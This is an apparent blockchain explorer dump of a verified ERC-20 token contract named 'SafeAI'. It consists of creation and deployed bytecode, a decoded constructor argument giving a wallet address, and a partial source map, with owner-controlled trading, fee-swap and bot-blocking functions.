0e51b815260040161068c919061190d565b506000610d888486611c95565b600060208083528351808285015260005b8181101561193a5785810183015185820160400152820161191e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c2557600080fd5b803561197b8161195b565b919050565b6000806040838503121561199357600080fd5b823561199e8161195b565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119d557600080fd5b823567ffffffffffffffff808211156119ed57600080fd5b818501915085601f830112611a0157600080fd5b813581811115611a1357611a136119ac565b8060051b604051601f19603f83011681018181108582111715611a3857611a386119ac565b604052918252848201925083810185019188831115611a5657600080fd5b938501935b82851015611a7b57611a6c85611970565b84529385019392850192611a5b565b98975050505050505050565b600080600060608486031215611a9c57600080fd5b8335611aa78161195b565b92506020840135611ab78161195b565b929592945050506040919091013590565b600060208284031215611ada57600080fd5b5035919050565b600060208284031215611af357600080fd5b81356107bc8161195b565b60008060408385031215611b1157600080fd5b8235611b1c8161195b565b91506020830135611b2c8161195b565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b9557611b95611b6d565b5060010190565b600060208284031215611bae57600080fd5b81516107bc8161195b565b600080600060608486031215611bce57600080fd5b8351925060208401519150604084015190509250925092565b8181038181111561065c5761065c611b6d565b8082018082111561065c5761065c611b6d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c5d5784516001600160a01b031683529383019391830191600101611c38565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761065c5761065c611b6d565b600082611cb257634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122004cdb0591cd71c0112ee781c590b2f7372659622c2b657c79a6bcfdcd174ff7464736f6c634300081300330000000000000000000000003f6c2687d45cb2f22fbc691ba3271d0378825ac3
Deployed Bytecode
0x6080604052600436106101dc5760003560e01c806370a0823111610102578063a9059cbb11610095578063d180f43011610064578063d180f43014610559578063d870307114610579578063dd62ed3e1461058f578063f887ea40146105d557600080fd5b8063a9059cbb146104fa578063c3565ae21461051a578063c6322ddd1461052f578063c99e05401461054457600080fd5b8063893d20e8116100d1578063893d20e8146104a757806395d89b41146101e8578063a57a948a146104c5578063a8aa1b31146104da57600080fd5b806370a08231146103eb578063715018a614610421578063771e0b931461043657806377b1bce61461046f57600080fd5b80632c743eac1161017a5780633fc2d5c1116101495780633fc2d5c1146103735780636c0a24eb146103945780636ce42475146103aa5780636ddd1713146103ca57600080fd5b80632c743eac146102f25780632f54bf6e14610312578063313ce567146103415780633eaaf86b1461035d57600080fd5b80630d0bb18c116101b65780630d0bb18c146102775780630faee56f1461029957806318160ddd146102bd57806323b872dd146102d257600080fd5b806306fdde03146101e857806308fd3d0514610226578063095ea7b31461025757600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b50604080518082018252600681526553616665414960d01b6020820152905161021d919061190d565b60405180910390f35b34801561023257600080fd5b50600e5461024790600160b01b900460ff1681565b604051901515815260200161021d565b34801561026357600080fd5b50610247610272366004611980565b6105f5565b34801561028357600080fd5b506102976102923660046119c2565b610662565b005b3480156102a557600080fd5b506102af60065481565b60405190815260200161021d565b3480156102c957600080fd5b506003546102af565b3480156102de57600080fd5b506102476102ed366004611a87565b610701565b3480156102fe57600080fd5b5061029761030d366004611ac8565b6107c3565b34801561031e57600080fd5b5061024761032d366004611ae1565b6000546001600160a01b0391821691161490565b34801561034d57600080fd5b506040516012815260200161021d565b34801561036957600080fd5b506102af60035481565b34801561037f57600080fd5b50600e5461024790600160a81b900460ff1681565b3480156103a057600080fd5b506102af60045481565b3480156103b657600080fd5b506102976103c5366004611ac8565b6107f2565b3480156103d657600080fd5b50600e5461024790600160a01b900460ff1681565b3480156103f757600080fd5b506102af610406366004611ae1565b6001600160a01b031660009081526007602052604090205490565b34801561042d57600080fd5b50610297610821565b34801561044257600080fd5b50610247610451366004611ae1565b6001600160a01b03166000908152600b602052604090205460ff1690565b34801561047b57600080fd5b50600c5461048f906001600160a01b031681565b6040516001600160a01b03909116815260200161021d565b3480156104b357600080fd5b506000546001600160a01b031661048f565b3480156104d157600080fd5b50610297610890565b3480156104e657600080fd5b50600d5461048f906001600160a01b031681565b34801561050657600080fd5b50610247610515366004611980565b610b42565b34801561052657600080fd5b50610247610b4f565b34801561053b57600080fd5b50610297610b86565b34801561055057600080fd5b50610297610c28565b34801561056557600080fd5b506102976105743660046119c2565b610cc5565b34801561058557600080fd5b506102af60055481565b34801561059b57600080fd5b506102af6105aa366004611afe565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b3480156105e157600080fd5b50600e5461048f906001600160a01b031681565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106509086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146106955760405162461bcd60e51b815260040161068c90611b37565b60405180910390fd5b60005b81518110156106fd576000600b60008484815181106106b9576106b9611b57565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106f581611b83565b915050610698565b5050565b6001600160a01b0383166000908152600860209081526040808320338452909152812054600019146107ae576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600882528381203382529091529190912054610789918490610d57565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b6107b9848484610d91565b90505b9392505050565b6000546001600160a01b031633146107ed5760405162461bcd60e51b815260040161068c90611b37565b601155565b6000546001600160a01b0316331461081c5760405162461bcd60e51b815260040161068c90611b37565b601255565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161068c90611b37565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161068c90611b37565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109429190611b9c565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c89190611b9c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611b9c565b600d80546001600160a01b0319166001600160a01b039283169081179091556000908152600a60209081526040808320805460ff191660011790553080845260088352818420600e805487168652908452828520600019905554818552600790935292205492169163f305d7199147916000805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610b18573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b3d9190611bb9565b505050565b60006107bc338484610d91565b600080546001600160a01b03163314610b7a5760405162461bcd60e51b815260040161068c90611b37565b50600354600455600190565b6000546001600160a01b03163314610bb05760405162461bcd60e51b815260040161068c90611b37565b60004711610bf95760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b604482015260640161068c565b60405133904780156108fc02916000818181858888f19350505050158015610c25573d6000803e3d6000fd5b50565b6000546001600160a01b03163314610c525760405162461bcd60e51b815260040161068c90611b37565b600e54600160b01b900460ff1615610cac5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161068c565b600e805462ffffff60a01b19166201010160a01b179055565b6000546001600160a01b03163314610cef5760405162461bcd60e51b815260040161068c90611b37565b60005b81518110156106fd576001600b6000848481518110610d1357610d13611b57565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610d4f81611b83565b915050610cf2565b60008184841115610d7b5760405162461bcd60e51b815260040161068c919061190d565b506000610d888486611be7565b95945050505050565b60006001600160a01b038416610df75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161068c565b6001600160a01b038316610e595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161068c565b60008211610ebb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161068c565b6001600160a01b0384166000908152600b6020526040812054819060ff16158015610eff57506001600160a01b0385166000908152600b602052604090205460ff16155b610f0857600080fd5b60165460ff1615610f2757610f1e8686866110e0565b925050506107bc565b6001600160a01b03861660009081526009602052604090205460ff16158015610f6957506001600160a01b03851660009081526009602052604090205460ff16155b15610fbe57600e54600160b01b900460ff16610fbe5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b604482015260640161068c565b600e54600160a01b900460ff16610fda57610f1e8686866110e0565b610fe486866111c6565b15611098576001600160a01b0385166000908152600a602052604090205460ff168061103557506004546001600160a01b038616600090815260076020526040902054611032908690611bfa565b11155b61108f5760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b606482015260840161068c565b61109886611243565b6110a28686611271565b80925081935050506110b88282866005546112ea565b156110c6576110c684611358565b6110d3868686848661151e565b5060019695505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600790915291822054611131918490610d57565b6001600160a01b0380861660009081526007602052604080822093909355908516815220546111609083611620565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111b49086815260200190565b60405180910390a35060019392505050565b600d546000906001600160a01b038381169116148015906111f557506002546001600160a01b03838116911614155b801561121a57506001600160a01b03831660009081526009602052604090205460ff16155b80156107bc5750506001600160a01b031660009081526009602052604090205460ff1615919050565b600d546001600160a01b0390811690821603610c25576015805490600061126983611b83565b919050555050565b60008060008061129a866001600160a01b031660009081526009602052604090205460ff161590565b600d549091506001600160a01b03908116908616036112bc57600291506112e0565b600d546001600160a01b03908116908716036112db57600191506112e0565b600091505b9590945092505050565b30600090815260076020526040812054829084906000838211801561130e57508383115b60165490915060ff161580156113215750885b801561132d5750600188115b80156113365750805b801561134b5750600e54600160a01b900460ff165b9998505050505050505050565b6016805460ff19166001179055306000908152600760205260408120549050600061138e836113898460065461167f565b61167f565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106113c8576113c8611b57565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611421573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114459190611b9c565b8160018151811061145857611458611b57565b6001600160a01b039283166020918202929092010152600e5460405163791ac94760e01b815291169063791ac9479061149e908590600090869030904290600401611c0d565b600060405180830381600087803b1580156114b857600080fd5b505af11580156114cc573d6000803e3d6000fd5b5050600c546040514793506001600160a01b03909116915082156108fc029083906000818181858888f1935050505015801561150c573d6000803e3d6000fd5b50506016805460ff1916905550505050565b600080600061152e858588611694565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038d1660009081526007909152919091205492945090925061158791908490610d57565b6001600160a01b03808a1660009081526007602052604080822093909355908916815220546115b69082611620565b6001600160a01b0380891660008181526007602052604090819020939093559151908a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061160a908a815260200190565b60405180910390a3506001979650505050505050565b60008061162d8385611bfa565b9050838110156107bc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161068c565b600081831161168e57826107bc565b50919050565b6000806000846116c557600e54600160a81b900460ff166116b557836116c7565b6116c0868686611706565b6116c7565b835b600e54909150600090600160a81b900460ff1680156116e35750855b6116ed57846116f8565b6116f8878787611706565b919791965090945050505050565b60008060648415611764576001861115611738576014546015541161172d57601054611731565b6012545b9150611769565b851561175b576013546015541161175157600f54611731565b6011549150611769565b60009150611769565b600191505b600061177f8261177987866117d9565b9061185b565b3060009081526007602052604090205490915061179c9082611620565b30600090815260076020526040902055856117c0576117bb858461185b565b6117c2565b805b90506117ce858261189d565b979650505050505050565b6000826000036117eb5750600061065c565b60006117f78385611c7e565b9050826118048583611c95565b146107bc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161068c565b60006107bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118df565b60006107bc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d57565b600081836119005760405162461bcd60e51b815260040161068c919061190d565b506000610d888486611c95565b600060208083528351808285015260005b8181101561193a5785810183015185820160400152820161191e565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c2557600080fd5b803561197b8161195b565b919050565b6000806040838503121561199357600080fd5b823561199e8161195b565b946020939093013593505050565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119d557600080fd5b823567ffffffffffffffff808211156119ed57600080fd5b818501915085601f830112611a0157600080fd5b813581811115611a1357611a136119ac565b8060051b604051601f19603f83011681018181108582111715611a3857611a386119ac565b604052918252848201925083810185019188831115611a5657600080fd5b938501935b82851015611a7b57611a6c85611970565b84529385019392850192611a5b565b98975050505050505050565b600080600060608486031215611a9c57600080fd5b8335611aa78161195b565b92506020840135611ab78161195b565b929592945050506040919091013590565b600060208284031215611ada57600080fd5b5035919050565b600060208284031215611af357600080fd5b81356107bc8161195b565b60008060408385031215611b1157600080fd5b8235611b1c8161195b565b91506020830135611b2c8161195b565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611b9557611b95611b6d565b5060010190565b600060208284031215611bae57600080fd5b81516107bc8161195b565b600080600060608486031215611bce57600080fd5b8351925060208401519150604084015190509250925092565b8181038181111561065c5761065c611b6d565b8082018082111561065c5761065c611b6d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c5d5784516001600160a01b031683529383019391830191600101611c38565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761065c5761065c611b6d565b600082611cb257634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122004cdb0591cd71c0112ee781c590b2f7372659622c2b657c79a6bcfdcd174ff7464736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000003f6c2687d45cb2f22fbc691ba3271d0378825ac3
-----Decoded View---------------
Arg [0] : SafeAIWallet (address): 0x3F6c2687d45CB2F22FbC691Ba3271D0378825AC3
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000003f6c2687d45cb2f22fbc691ba3271d0378825ac3
Deployed Bytecode Sourcemap
4968:9515:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10714:82;;;;;;;;;;-1:-1:-1;10787:5:0;;;;;;;;;;;-1:-1:-1;;;10787:5:0;;;;10714:82;;;;10787:5;10714:82;:::i;:::-;;;;;;;;5915:31;;;;;;;;;;-1:-1:-1;5915:31:0;;;;-1:-1:-1;;;5915:31:0;;;;;;;;;732:14:1;;725:22;707:41;;695:2;680:18;5915:31:0;567:187:1;7373:192:0;;;;;;;;;;-1:-1:-1;7373:192:0;;;;;:::i;:::-;;:::i;12382:151::-;;;;;;;;;;-1:-1:-1;12382:151:0;;;;;:::i;:::-;;:::i;:::-;;5462:54;;;;;;;;;;;;;;;;;;;2758:25:1;;;2746:2;2731:18;5462:54:0;2612:177:1;10892:90:0;;;;;;;;;;-1:-1:-1;10966:12:0;;10892:90;;13766:350;;;;;;;;;;-1:-1:-1;13766:350:0;;;;;:::i;:::-;;:::i;11550:89::-;;;;;;;;;;-1:-1:-1;11550:89:0;;;;;:::i;:::-;;:::i;2300:91::-;;;;;;;;;;-1:-1:-1;2300:91:0;;;;;:::i;:::-;2355:4;2382:5;-1:-1:-1;;;;;2371:16:0;;;2382:5;;2371:16;;2300:91;8125:82;;;;;;;;;;-1:-1:-1;8125:82:0;;5267:2;3834:36:1;;3822:2;3807:18;8125:82:0;3692:184:1;5272:59:0;;;;;;;;;;;;;;;;5876:36;;;;;;;;;;-1:-1:-1;5876:36:0;;;;-1:-1:-1;;;5876:36:0;;;;;;5334:58;;;;;;;;;;;;;;;;11643:91;;;;;;;;;;-1:-1:-1;11643:91:0;;;;;:::i;:::-;;:::i;5842:31::-;;;;;;;;;;-1:-1:-1;5842:31:0;;;;-1:-1:-1;;;5842:31:0;;;;;;6776:107;;;;;;;;;;-1:-1:-1;6776:107:0;;;;;:::i;:::-;-1:-1:-1;;;;;6861:18:0;6842:7;6861:18;;;:9;:18;;;;;;;6776:107;2395:111;;;;;;;;;;;;;:::i;12537:79::-;;;;;;;;;;-1:-1:-1;12537:79:0;;;;;:::i;:::-;-1:-1:-1;;;;;12602:10:0;12587:4;12602:10;;;:7;:10;;;;;;;;;12537:79;5750:28;;;;;;;;;;-1:-1:-1;5750:28:0;;;;-1:-1:-1;;;;;5750:28:0;;;;;;-1:-1:-1;;;;;4045:32:1;;;4027:51;;4015:2;4000:18;5750:28:0;3881:203:1;6692:80:0;;;;;;;;;;-1:-1:-1;6744:7:0;6763:5;-1:-1:-1;;;;;6763:5:0;6692:80;;10278:432;;;;;;;;;;;;;:::i;5781:19::-;;;;;;;;;;-1:-1:-1;5781:19:0;;;;-1:-1:-1;;;;;5781:19:0;;;14118:158;;;;;;;;;;-1:-1:-1;14118:158:0;;;;;:::i;:::-;;:::i;8722:115::-;;;;;;;;;;;;;:::i;7196:173::-;;;;;;;;;;;;;:::i;7569:170::-;;;;;;;;;;;;;:::i;12231:147::-;;;;;;;;;;-1:-1:-1;12231:147:0;;;;;:::i;:::-;;:::i;5395:64::-;;;;;;;;;;;;;;;;10134:140;;;;;;;;;;-1:-1:-1;10134:140:0;;;;;:::i;:::-;-1:-1:-1;;;;;10242:19:0;;;10222:7;10242:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;10134:140;5805:32;;;;;;;;;;-1:-1:-1;5805:32:0;;;;-1:-1:-1;;;;;5805:32:0;;;7373:192;7473:10;7451:4;7461:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;7461:32:0;;;;;;;;;;:41;;;7510:37;7451:4;;7461:32;;7510:37;;;;7496:6;2758:25:1;;2746:2;2731:18;;2612:177;7510:37:0;;;;;;;;-1:-1:-1;7557:4:0;7373:192;;;;;:::o;12382:151::-;2355:4;2382:5;-1:-1:-1;;;;;2382:5:0;2266:10;2371:16;2250:38;;;;-1:-1:-1;;;2250:38:0;;;;;;;:::i;:::-;;;;;;;;;12455:6:::1;12450:80;12471:9;:16;12467:1;:20;12450:80;;;12521:5;12497:7;:21;12505:9;12515:1;12505:12;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12497:21:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12497:21:0;:29;;-1:-1:-1;;12497:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12489:3;::::1;::::0;::::1;:::i;:::-;;;;12450:80;;;;12382:151:::0;:::o;13766:350::-;-1:-1:-1;;;;;13885:19:0;;13872:4;13885:19;;;:11;:19;;;;;;;;13905:10;13885:31;;;;;;;;-1:-1:-1;;13885:52:0;13881:170;;13976:71;;;;;;;;;;;-1:-1:-1;;;13976:71:0;;;;;;;;-1:-1:-1;;;;;13976:19:0;;-1:-1:-1;13976:19:0;;;:11;:19;;;;;13996:10;13976:31;;;;;;;;;;:71;;14014:6;;13976:37;:71::i;:::-;-1:-1:-1;;;;;13942:19:0;;;;;;:11;:19;;;;;;;;13962:10;13942:31;;;;;;;:105;13881:170;14062:50;14086:6;14094:9;14105:6;14062:23;:50::i;:::-;14055:57;;13766:350;;;;;;:::o;11550:89::-;2355:4;2382:5;-1:-1:-1;;;;;2382:5:0;2266:10;2371:16;2250:38;;;;-1:-1:-1;;;2250:38:0;;;;;;;:::i;:::-;11615:12:::1;:20:::0;11550:89::o;11643:91::-;2355:4;2382:5;-1:-1:-1;;;;;2382:5:0;2266:10;2371:16;2250:38;;;;-1:-1:-1;;;2250:38:0;;;;;;;:::i;:::-;11709:13:::1;:21:::0;11643:91::o;2395:111::-;2355:4;2382:5;-1:-1:-1;;;;;2382:5:0;2266:10;2371:16;2250:38;;;;-1:-1:-1;;;2250:38:0;;;;;;;:::i;:::-;2460:1:::1;2444:18:::0;;-1:-1:-1;;;;;;2444:18:0::1;::::0;;2470:32:::1;::::0;4027:51:1;;;2470:32:0::1;::::0;4015:2:1;4000:18;2470:32:0::1;;;;;;;2395:111::o:0;10278:432::-;2355:4;2382:5;-1:-1:-1;;;;;2382:5:0;2266:10;2371:16;2250:38;;;;-1:-1:-1;;;2250:38:0;;;;;;;:::i;:::-;10329:6:::1;:71:::0;;-1:-1:-1;;;;;;10329:71:0::1;10357:42;10329:71:::0;;::::1;::::0;;;10428:16:::1;::::0;;-1:-1:-1;;;10428:16:0;;;;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;10357:42;10428:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10410:46:0::1;;10465:4;10472:6;;;;;;;;;-1:-1:-1::0;;;;;10472:6:0::1;-1:-1:-1::0;;;;;10472:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10410:76;::::0;-1:-1:-1;;;;;;10410:76:0::1;::::0;;;;;;-1:-1:-1;;;;;5940:15:1;;;10410:76:0::1;::::0;::::1;5922:34:1::0;5992:15;;5972:18;;;5965:43;5857:18;;10410:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10403:4;:83:::0;;-1:-1:-1;;;;;;10403:83:0::1;-1:-1:-1::0;;;;;10403:83:0;;::::1;::::0;;::::1;::::0;;;-1:-1:-1;10489:21:0;;;:15:::1;:21;::::0;;;;;;;:28;;-1:-1:-1;;10489:28:0::1;-1:-1:-1::0;10489:28:0::1;::::0;;10542:4:::1;10522:26:::0;;;:11:::1;:26:::0;;;;;10557:6:::1;::::0;;;::::1;10522:43:::0;;;;;;;;-1:-1:-1;;10522:63:0;;10588:6;6861:18;;;:9;:18;;;;;;10588:6;::::1;::::0;:22:::1;::::0;10618:21:::1;::::0;10680:1:::1;10684:5:::0;;10588:118:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10588:118:0;;;-1:-1:-1;;;;;6378:15:1;;;10588:118:0::1;::::0;::::1;6360:34:1::0;6410:18;;;6403:34;;;;6453:18;;;6446:34;;;6496:18;;;6489:34;;;;10684:5:0;;;::::1;6539:19:1::0;;;6532:44;10690:15:0::1;6592:19:1::0;;;6585:35;6294:19;;10588:118:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;10278:432::o:0;14118:158::-;14201:4;14218:54;14242:10;14254:9;14265:6;14218:23;:54::i;8722:115::-;8779:4;2382:5;;-1:-1:-1;;;;;2382:5:0;2266:10;2371:16;2250:38;;;;-1:-1:-1;;;2250:38:0;;;;;;;:::i;:::-;-1:-1:-1;8807:12:0::1;::::0;8788:16:::1;:31:::0;8829:4:::1;8722:115:::0;:::o;7196:173::-;2355:4;2382:5;-1:-1:-1;;;;;2382:5:0;2266:10;2371:16;2250:38;;;;-1:-1:-1;;;2250:38:0;;;;;;;:::i;:::-;7283:1:::1;7259:21;:25;7251:60;;;::::0;-1:-1:-1;;;7251:60:0;;7144:2:1;7251:60:0::1;::::0;::::1;7126:21:1::0;7183:2;7163:18;;;7156:30;-1:-1:-1;;;7202:18:1;;;7195:52;7264:18;;7251:60:0::1;6942:346:1::0;7251:60:0::1;7314:51;::::0;7322:10:::1;::::0;7343:21:::1;7314:51:::0;::::1;;;::::0;::::1;::::0;;;7343:21;7322:10;7314:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7196:173::o:0;7569:170::-;2355:4;2382:5;-1:-1:-1;;;;;2382:5:0;2266:10;2371:16;2250:38;;;;-1:-1:-1;;;2250:38:0;;;;;;;:::i;:::-;7627:11:::1;::::0;-1:-1:-1;;;7627:11:0;::::1;;;7626:12;7618:47;;;::::0;-1:-1:-1;;;7618:47:0;;7495:2:1;7618:47:0::1;::::0;::::1;7477:21:1::0;7534:2;7514:18;;;7507:30;7573:25;7553:18;;;7546:53;7616:18;;7618:47:0::1;7293:347:1::0;7618:47:0::1;7670:11;:18:::0;;-1:-1:-1;;;;7717:18:0;-1:-1:-1;;;7717:18:0;;;7569:170::o;12231:147::-;2355:4;2382:5;-1:-1:-1;;;;;2382:5:0;2266:10;2371:16;2250:38;;;;-1:-1:-1;;;2250:38:0;;;;;;;:::i;:::-;12303:6:::1;12298:77;12319:8;:15;12315:1;:19;12298:77;;;12367:4;12344:7;:20;12352:8;12361:1;12352:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;12344:20:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;12344:20:0;:27;;-1:-1:-1;;12344:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;12336:3;::::1;::::0;::::1;:::i;:::-;;;;12298:77;;551:168:::0;643:7;671:12;663:6;;;;655:29;;;;-1:-1:-1;;;655:29:0;;;;;;;;:::i;:::-;-1:-1:-1;687:9:0;699:5;703:1;699;:5;:::i;:::-;687:17;551:168;-1:-1:-1;;;;;551:168:0:o;12620:1141::-;12728:4;-1:-1:-1;;;;;12747:20:0;;12739:70;;;;-1:-1:-1;;;12739:70:0;;7980:2:1;12739:70:0;;;7962:21:1;8019:2;7999:18;;;7992:30;8058:34;8038:18;;;8031:62;-1:-1:-1;;;8109:18:1;;;8102:35;8154:19;;12739:70:0;7778:401:1;12739:70:0;-1:-1:-1;;;;;12820:23:0;;12812:71;;;;-1:-1:-1;;;12812:71:0;;8386:2:1;12812:71:0;;;8368:21:1;8425:2;8405:18;;;8398:30;8464:34;8444:18;;;8437:62;-1:-1:-1;;;8515:18:1;;;8508:33;8558:19;;12812:71:0;8184:399:1;12812:71:0;12903:1;12894:6;:10;12886:64;;;;-1:-1:-1;;;12886:64:0;;8790:2:1;12886:64:0;;;8772:21:1;8829:2;8809:18;;;8802:30;8868:34;8848:18;;;8841:62;-1:-1:-1;;;8919:18:1;;;8912:39;8968:19;;12886:64:0;8588:405:1;12886:64:0;-1:-1:-1;;;;;12996:15:0;;12955:12;12996:15;;;:7;:15;;;;;;12955:12;;12996:15;;12995:16;:39;;;;-1:-1:-1;;;;;;13016:18:0;;;;;;:7;:18;;;;;;;;13015:19;12995:39;12987:48;;;;;;13044:6;;;;13040:67;;;13062:41;13077:6;13085:9;13096:6;13062:14;:41::i;:::-;13055:48;;;;;;13040:67;-1:-1:-1;;;;;13115:19:0;;;;;;:11;:19;;;;;;;;13114:20;:47;;;;-1:-1:-1;;;;;;13139:22:0;;;;;;:11;:22;;;;;;;;13138:23;13114:47;13111:101;;;13173:11;;-1:-1:-1;;;13173:11:0;;;;13165:43;;;;-1:-1:-1;;;13165:43:0;;9200:2:1;13165:43:0;;;9182:21:1;9239:2;9219:18;;;9212:30;-1:-1:-1;;;9258:18:1;;;9251:50;9318:18;;13165:43:0;8998:344:1;13165:43:0;13220:11;;-1:-1:-1;;;13220:11:0;;;;13216:72;;13243:41;13258:6;13266:9;13277:6;13243:14;:41::i;13216:72::-;13294:34;13310:6;13318:9;13294:15;:34::i;:::-;13290:211;;;-1:-1:-1;;;;;13343:26:0;;;;;;:15;:26;;;;;;;;;:80;;-1:-1:-1;13407:16:0;;-1:-1:-1;;;;;13374:20:0;;;;;;:9;:20;;;;;;:29;;13397:6;;13374:29;:::i;:::-;:49;;13343:80;13333:135;;;;-1:-1:-1;;;13333:135:0;;9679:2:1;13333:135:0;;;9661:21:1;9718:2;9698:18;;;9691:30;9757:34;9737:18;;;9730:62;-1:-1:-1;;;9808:18:1;;;9801:35;9853:19;;13333:135:0;9477:401:1;13333:135:0;13473:24;13490:6;13473:16;:24::i;:::-;13526:38;13546:6;13554:9;13526:19;:38::i;:::-;13505:59;;;;;;;;13573:67;13592:7;13601;13610:6;13618:21;;13573:18;:67::i;:::-;13569:107;;;13645:27;13665:6;13645:19;:27::i;:::-;13680:63;13699:6;13707:9;13718:6;13726:7;13735;13680:18;:63::i;:::-;-1:-1:-1;13753:4:0;;12620:1141;-1:-1:-1;;;;;;12620:1141:0:o;6887:305::-;7015:58;;;;;;;;;;;-1:-1:-1;;;7015:58:0;;;;;;;;-1:-1:-1;;;;;7015:17:0;;6986:4;7015:17;;;:9;:17;;;;;;;:58